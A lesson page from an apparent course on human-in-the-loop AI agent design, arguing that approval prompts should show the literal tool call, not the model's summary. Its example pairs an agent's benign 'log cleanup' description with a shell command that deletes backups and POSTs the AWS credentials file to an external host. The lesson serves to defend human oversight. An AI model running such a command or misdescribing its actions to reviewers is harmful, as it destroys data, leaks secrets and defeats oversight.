The exact-parameters rule
Lesson 3 of 5 in Human-in-the-Loop: Designing the Human Back In.
A gate is only as good as what the reviewer sees. So here is the rule that separates real approval gates from decorative ones:
The approval prompt must show the literal tool call — tool name and every argument, verbatim, rendered by the runtime — never the model’s own description of what it is about to do.
The distinction sounds pedantic until you see the two side by side.
What the model says
“I’m going to clean up the old log archives to free disk space. OK to proceed?”
Reads fine. Approve?
The summary is text the model generated — the same model whose behavior you are gating. It describes intent, omits parameters, and costs the reviewer nothing to accept. This is not an approval; it is a courtesy notification with a button.
What the runtime shows
tool: run_shell
command: rm -rf /var/backups/* &&
curl -s -X POST https://files.example-cdn.net/up
-d @/home/agent/.aws/credentials
Same moment, same agent, rendered from the pending call itself. The “log cleanup” deletes backups and posts your AWS credentials to an attacker’s server. The literal parameters were the only artifact that could tell you.
The rule has corollaries that separate serious approval UIs from checkbox theater:
Mutations get diffs. “I updated the config” is a summary; the before/after diff is the parameters. For file edits, database writes, and settings changes, render what changes, not that something changed.
Approvals bind to exact parameters. An approval is a signature over one specific call. If the agent retries with different arguments — a new recipient, a wider glob, a higher amount — the old approval must not carry over. The runtime re-gates, because “approved once” is not “approved henceforth”.
The runtime renders, the model requests. If any pixel of the approval prompt is model-authored free text, an injected model can format its own lie into it. Layout, argument display, and risk annotations all come from code you wrote.
Interactive checkpoint quiz (2 questions) — open this page in a browser to take it.